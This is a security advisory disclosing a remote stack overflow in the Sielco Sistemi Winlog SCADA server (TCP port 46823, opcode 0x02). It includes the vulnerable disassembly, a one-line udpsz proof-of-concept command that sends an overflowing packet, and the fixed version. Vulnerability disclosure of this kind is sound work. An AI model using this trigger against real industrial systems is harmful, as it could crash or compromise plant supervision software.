####################################################################### Luigi Auriemma Application: Sielco Sistemi Winlog http://www.sielcosistemi.com/en/products/winlog_scada_hmi/ Versions: <= 2.07.00 Platforms: Windows Bug: stack overflow Exploitation: remote Date: 13 Jan 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's website: "Simple, flexible and economical, Winlog Pro is a SCADA/HMI software package for the supervision of industrial and civil plants." ####################################################################### ====== 2) Bug ====== This SCADA software can act as a TCP/IP server by enabling the specific "Run TCP/IP server" option available in the "Configuration->Options->TCP/IP" section of the project we want to run and Runtime.exe will listen on the TCP port 46823. The opcode 0x02 of the protocol is used for the handling of some strings received by the client and the calling of one of the _TCPIP_WriteNumValueFP, _TCPIP_WriteDigValueFP or _TCPIP_WriteStrValueFP functions depending by the type of data. They use all the same function starting from offset 00446795 for the parsing of the data and it's vulnerable to a stack overflow while copying the input data in a temporary buffer of about 60 bytes: 00446795 /$ 55 PUSH EBP 00446796 |. 8BEC MOV EBP,ESP 00446798 |. 83C4 C0 ADD ESP,-40 0044679B |. 53 PUSH EBX 0044679C |. 56 PUSH ESI 0044679D |. 57 PUSH EDI 0044679E |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 004467A1 |. 8B5D 08 MOV EBX,DWORD PTR SS:[EBP+8] 004467A4 |. 8BF8 MOV EDI,EAX 004467A6 |. 33C0 XOR EAX,EAX 004467A8 |. 56 PUSH ESI 004467A9 |. 83C9 FF OR ECX,FFFFFFFF 004467AC |. F2:AE REPNE SCAS BYTE PTR ES:[EDI] ; strlen 004467AE |. F7D1 NOT ECX 004467B0 |. 2BF9 SUB EDI,ECX 004467B2 |. 8D75 C0 LEA ESI,DWORD PTR SS:[EBP-40] 004467B5 |. 87F7 XCHG EDI,ESI 004467B7 |. 8BD1 MOV EDX,ECX 004467B9 |. 8BC7 MOV EAX,EDI 004467BB |. C1E9 02 SHR ECX,2 004467BE |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; memcpy ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip udpsz -T -b a -C 020101 SERVER 46823 1000 ####################################################################### ====== 4) Fix ====== Version 2.07.01. #######################################################################